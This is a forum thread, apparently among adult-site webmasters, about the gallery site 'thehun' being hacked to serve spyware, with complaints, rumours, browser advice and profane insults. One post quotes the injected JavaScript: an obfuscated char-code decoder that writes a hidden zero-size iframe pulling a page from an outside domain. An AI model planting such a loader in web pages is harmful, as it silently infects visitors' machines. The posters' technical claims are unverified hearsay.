FUCK YOU ---- " the hun"

[SmokeyTheBear]

Thanks to the hun we have a few million new surfers that are infected with spyware that will steal your money..

If you bought a gallery spot , i would ask for a refund as thehun has been hacked for several days.

The inability for experienced webmasters to listen to others is quite amazing.

Heres a suggestion to others..

If your site has been hacked, and someone takes the time out of their day to inform you of your security problems..

1) look into it ASAP

2) Dont accuse the person who helped you of being an idiot surfer.

3) After you realise someone saved you thousands of dollars a day , take the time out of YOUR day to THANK THEM

[Evil Chris]

uh oh.....

[Jay_StandAhead]

whoa....

[UltraSonic]

WTF are you talking about?

[escorpio]

Especially when that person has the mad skillz of Smokey.

[Damian_Maxcash]

He called u a "surfer"?

Thats just mean......

[David!]

Originally Posted by UltraSonic

WTF are you talking about?

There's been some kind of trojan on the hun for over 24/48 hours.

[groark]

Still spyware loading at thehun??

[Dirty F]

I have no problems loading the hun....nothing happens.

[UltraSonic]

Originally Posted by Franck

I have no problems loading the hun....nothing happens.

Same here, no probs for the last three days.

[The Bootyologist]

smokey is a god

[Wolfy]

hey, if I am not mistaken this is the trojan that replaces your affiliate code with the hackers when a surfer goes to sign up at a paysite?



THis is pretty unavoidable (I'm not excusing the huns action or lack of, I know nothing about the situation), BUT this is why I promote firefox - most of these exploits do not work with firefox.



Anybody else want to jump on the bandwagon with me? just put a link to it on all your sites, maybe say a few words about it, FIREFOX people. spread it! IE costs almost all of us money!

[xclusive]

It's really unexcusable to still have it on there..

[SmokeyTheBear]

Originally Posted by damian2001

He called u a "surfer"?

Thats just mean......

well not in those words, but , he gave me a big lecture on how it was really everyone elses computers with spyware and that it wasn't coming from his servers.

I do realise this is most often the case, but thats why we look into things...

[candyflip]

Originally Posted by PussyMan

There's been some kind of trojan on the hun for over 24/48 hours.

That really sucks.

[wyldblyss]

So smokey, what exactly happened to thehun? Are they fixed now?

[Manowar]

Originally Posted by SmokeyTheBear

well not in those words, but , he gave me a big lecture on how it was really everyone elses computers with spyware and that it wasn't coming from his servers.

I do realise this is most often the case, but thats why we look into things...

that sucks man

[SmokeyTheBear]

Originally Posted by Franck

I have no problems loading the hun....nothing happens.

You would never have noticed anything if you have a secure box..

If you didnt , you would have spyware right now..



This time his site was MANUALLY hacked.. the iframe.write was hidden in one of his own javascripts.

[Hot Visions]

The trojan tired to hit me 2 yesterday when i went to hun but, thank god i keep my Norton 2005 updated
it blocked it right away

[SmokeyTheBear]

Originally Posted by wyldblyss

So smokey, what exactly happened to thehun? Are they fixed now?

Its fixed now FINALLY

heres the raw java pulled from his own java

var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!11 6!116!112!58!47!47!105!102!114!97!109!101!100!111! 108!108!97!114!115!46!98!105!122!47!115!49!54!52!4 6!104!116!109!108!34!32!87!73!68!84!72!61!48!32!66 !79!82!68!69!82!61!48!32!72!69!73!71!72!84!61!48!3 2!115!116!121!108!101!61!34!100!105!115!112!108!97 !121!58!110!111!110!101!34!62!60!47!73!70!82!65!77 !69!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp=""; }document.write(out);

[groark]

http://216.218.206.45/viewtopic.php?t=475

[r3ap3r]

The hun loads OK over here. Loads up like it normally would.

[SmokeyTheBear]

Originally Posted by Wolfy

BUT this is why I promote firefox - most of these exploits do not work with firefox.

!

Actually this spyware is another hosts file changer, meaning it exploits every browser..

[CrazyLunatic]

I tried to connect to the hun yesterday and the site wouldn't load.

[Damian_Maxcash]

I hope the sponsors that the hackers used r going to tell them where to stick thier money??

Anyone know who the sponsors are?? I think a little pressure needs to be applied

[SmokeyTheBear]

Originally Posted by r3ap3r

The hun loads OK over here. Loads up like it normally would.

Thats because its fixed now..

[SmokeyTheBear]

Originally Posted by CrazyLunatic

I tried to connect to the hun yesterday and the site wouldn't load. I use Firefox. Maybe this was because of Firefox?

No that was just while they were changing things..

It was loading extremely slow for 2 days , but is now fixed and faster..

[SmokeyTheBear]

Originally Posted by damian2001

I hope the sponsors that the hackers used r going to tell them where to stick thier money??

Anyone know who the sponsors are?? I think a little pressure needs to be applied

The sponsor knows all about it.. Its basically a sponsor built for hackers..

The hackers just cruise for exploits and drop an iframe in , ad move to the next site, with some its a drop worm that does the same thing

[polish_aristocrat]

Originally Posted by SmokeyTheBear

Thanks to the hun we have a few million new surfers that are infected with spyware that will steal your money..

If you bought a gallery spot , i would ask for a refund as thehun has been hacked for several days.

The inability for experienced webmasters to listen to others is quite amazing.

Heres a suggestion to others..

If your site has been hacked, and someone takes the time out of their day to inform you of your security problems..

1) look into it ASAP

2) Dont accuse the person who helped you of being an idiot surfer.

3) After you realise someone saved you thousands of dollars a day , take the time out of YOUR day to THANK THEM

what did he reply to you exactly?

[TheSenator]

Yeah, I saw the same thing too.

The virus is harmless if you have all your updates.

[SmokeyTheBear]

Originally Posted by polish_aristocrat

what did he reply to you exactly?

http://216.218.206.45/viewtopic.php?t=475

[Drake]

In that thread you said the guy responsible made $1k from it? What sponsor is he using and how did you access his stats?

[baddog]

Originally Posted by Wolfy

BUT this is why I promote firefox - most of these exploits do not work with firefox.



Anybody else want to jump on the bandwagon with me? just put a link to it on all your sites, maybe say a few words about it, FIREFOX people. spread it! IE costs almost all of us money!

haha - good luck on that one

[escorpio]

Originally Posted by Mike33

In that thread you said the guy responsible made $1k from it? What sponsor is he using and how did you access his stats?

Your asking Smokey this?

l33t hax0ring, maybe?

[SmokeyTheBear]

Originally Posted by Mike33

In that thread you said the guy responsible made $1k from it? What sponsor is he using and how did you access his stats?

iframedollars.biz is the sponsor and the stats are open to the public * after a little clever sleuthing *

[Quickdraw]

Originally Posted by Mike33

In that thread you said the guy responsible made $1k from it? What sponsor is he using and how did you access his stats?

Same hack(sponsor) that was on SleazyDream, just a bit more complicated this time.

[SmokeyTheBear]

Originally Posted by Quickdraw

Same hack(sponsor) that was on SleazyDream, just a bit more complicated this time.

yup.. and a few other well known sites as well.

Should make sleazy happy to know he wasn't the only big target

[AlienQ - BANNED FOR LIFE]

People called me nuts when I put these types of scenerio's on the table a long time ago. Especially processing companies.

[Webmaster_Logic]

Wow that was a nice thank you they gave you there Smokey. Just goes to show bigger aint better........

[Snake Doctor]

If anyone is really upset about this and wants to sell the rest of your paid hun lisings I'm buying.

[SmokeyTheBear]

Originally Posted by Lenny2

If anyone is really upset about this and wants to sell the rest of your paid hun lisings I'm buying.

I wouldn't . For several days this has been happening.. A large portion of hun surfers will now be infected and useless. An even larger portion wont be visiting the hun for awhile im sure.

I dont have access to his numbers, but i think its safe to assume they will be less productive..

[12clicks]

Originally Posted by Webmaster_Logic

Wow that was a nice thank you they gave you there Smokey. Just goes to show bigger aint better........

perhaps the Hun saw Chokey babble on about me and how he was going to investigate and figured it was just more prattling on.

[SR]

Could explain the crappy sales.
Had a paid spot yesterday and only did like 10% of the normal sales.
Some days suck more than others but a difference like this is kinda extreme.

[SmokeyTheBear]

Originally Posted by 12clicks

perhaps the Hun saw Chokey babble on about me and how he was going to investigate and figured it was just more prattling on.

Fuck off idiot.. Someone put it out there , i looked into it , and stated in your thread , i didnt see anything wrong period.. You have an attitude problem.

[SmokeyTheBear]

Originally Posted by SR

Could explain the crappy sales.
Had a paid spot yesterday and only did like 10% of the normal sales.
Some days suck more than others but a difference like this is kinda extreme.

Yesterday was the worst day..

[evanmorgan]

if he doesnt give money back to paid spot people then i suggest a boycott of it. It isnt acceptable that someone might spend 500 dollars on a spot and get bugger all return, when the problem has nothing to do with them or their gallery.

Ev

[cosis]

Originally Posted by PussyMan

There's been some kind of trojan on the hun for over 24/48 hours.

i noticed it on their over a week ago, whoever was doing it was just putting it up a few hours at a time so it was hard to catch - then the last few days had it up all day so people noticed

[SmokeyTheBear]

Originally Posted by cosis

i noticed it on their over a week ago, whoever was doing it was just putting it up a few hours at a time so it was hard to catch - then the last few days had it up all day so people noticed

yup

[AlienQ - BANNED FOR LIFE]

Anyone got the source code yet and looked at it?

[mardigras]

Someone needs to come up with a spyware cleaner that also resets the HOSTS file.